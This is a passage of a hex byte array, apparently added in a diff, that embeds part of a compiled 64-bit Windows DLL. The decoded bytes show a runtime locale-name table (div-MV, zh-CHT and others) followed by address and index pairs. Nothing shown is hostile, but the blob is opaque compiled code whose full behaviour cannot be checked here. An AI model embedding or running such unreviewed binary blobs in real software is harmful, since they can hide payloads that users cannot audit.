0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x69, 0x00, 0x76, 0x00, 0x2d, 0x00, + 0x4d, 0x00, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0x00, 0x75, 0x00, + 0x7a, 0x00, 0x2d, 0x00, 0x42, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6e, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x5a, 0x00, 0x41, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x69, 0x00, 0x2d, 0x00, 0x4e, 0x00, + 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x49, 0x00, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x64, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x43, 0x00, 0x48, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x47, 0x00, + 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x4d, 0x00, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x66, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x42, 0x00, 0x45, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x69, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x43, 0x00, + 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x6c, 0x00, + 0x2d, 0x00, 0x42, 0x00, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6e, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x4e, 0x00, 0x4f, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x50, 0x00, + 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x53, 0x00, 0x50, 0x00, 0x2d, 0x00, 0x4c, 0x00, 0x61, 0x00, + 0x74, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x76, 0x00, + 0x2d, 0x00, 0x46, 0x00, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x7a, 0x00, 0x2d, 0x00, 0x41, 0x00, 0x5a, 0x00, 0x2d, 0x00, + 0x43, 0x00, 0x79, 0x00, 0x72, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x53, 0x00, 0x45, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x42, 0x00, + 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x00, 0x7a, 0x00, + 0x2d, 0x00, 0x55, 0x00, 0x5a, 0x00, 0x2d, 0x00, 0x43, 0x00, 0x79, 0x00, + 0x72, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0x00, 0x75, 0x00, + 0x7a, 0x00, 0x2d, 0x00, 0x45, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x45, 0x00, 0x47, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x48, 0x00, + 0x4b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x65, 0x00, + 0x2d, 0x00, 0x41, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x41, 0x00, 0x55, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x45, 0x00, + 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x43, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x53, 0x00, 0x50, 0x00, 0x2d, 0x00, + 0x43, 0x00, 0x79, 0x00, 0x72, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x49, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x71, 0x00, 0x75, 0x00, 0x7a, 0x00, 0x2d, 0x00, + 0x50, 0x00, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x4c, 0x00, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x7a, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x53, 0x00, 0x47, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x4c, 0x00, + 0x55, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x43, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x47, 0x00, 0x54, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x43, 0x00, + 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x42, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x6d, 0x00, 0x6a, 0x00, 0x2d, 0x00, 0x4e, 0x00, 0x4f, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x44, 0x00, + 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, + 0x2d, 0x00, 0x4d, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x64, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x4c, 0x00, 0x49, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x4e, 0x00, + 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x43, 0x00, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x66, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x4c, 0x00, 0x55, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x42, 0x00, + 0x41, 0x00, 0x2d, 0x00, 0x4c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x6e, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6d, 0x00, 0x6a, 0x00, 0x2d, 0x00, + 0x53, 0x00, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x4d, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x49, 0x00, 0x45, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x50, 0x00, + 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x4d, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x42, 0x00, 0x41, 0x00, 0x2d, 0x00, + 0x4c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x6d, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x4e, 0x00, 0x4f, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x54, 0x00, + 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x5a, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x44, 0x00, 0x4f, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x42, 0x00, + 0x41, 0x00, 0x2d, 0x00, 0x43, 0x00, 0x79, 0x00, 0x72, 0x00, 0x6c, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6d, 0x00, 0x61, 0x00, 0x2d, 0x00, + 0x53, 0x00, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x4f, 0x00, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x4a, 0x00, 0x4d, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x56, 0x00, + 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6d, 0x00, + 0x73, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x59, 0x00, 0x45, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x43, 0x00, + 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x6d, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x49, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x53, 0x00, + 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x42, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x50, 0x00, 0x45, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x4a, 0x00, + 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x54, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x41, 0x00, 0x52, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x4c, 0x00, + 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x5a, 0x00, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x45, 0x00, 0x43, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x4b, 0x00, + 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x50, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x43, 0x00, 0x4c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x41, 0x00, + 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x55, 0x00, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x42, 0x00, 0x48, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x50, 0x00, + 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x51, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x42, 0x00, 0x4f, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x53, 0x00, + 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x48, 0x00, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x4e, 0x00, 0x49, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x50, 0x00, + 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, + 0x2d, 0x00, 0x43, 0x00, 0x48, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x20, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x70, 0x80, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x71, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x10, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x80, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xda, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa0, 0x80, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x80, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc0, 0x80, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x8f, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd0, 0x80, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xcf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x80, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf0, 0x80, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd2, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xa9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x81, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x81, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xc4, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x81, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xdc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x81, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x50, 0x81, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xcc, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x81, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xbf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x81, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x81, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x9b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x81, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x18, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xb0, 0x81, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc0, 0x81, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd0, 0x81, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x7d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x81, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xb7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf8, 0x81, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x82, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x47, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x82, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x82, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x82, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xa2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x82, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x91, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x58, 0x82, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x82, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xb3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x78, 0x82, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xab, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x82, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x50, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x98, 0x82, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa8, 0x82, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa3, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xb8, 0x82, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xcd, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x82, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xac, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd8, 0x82, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xc9, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe8, 0x82, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x82, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xc5, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xb4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x83, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x38, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x83, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x68, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd3, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x83, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x88, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xdd, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x98, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xd7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa8, 0x83, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xca, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb8, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xb5, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc8, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xc1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0x83, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf8, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xad, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x84, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xdf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x18, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x28, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x84, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xbb, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xce, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x58, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x84, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xdb, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x78, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xde, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x88, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xd9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x84, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa8, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb8, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x84, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x68, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd8, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x2e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0x84, 0x01, 0x80, 0x01, 0x00, 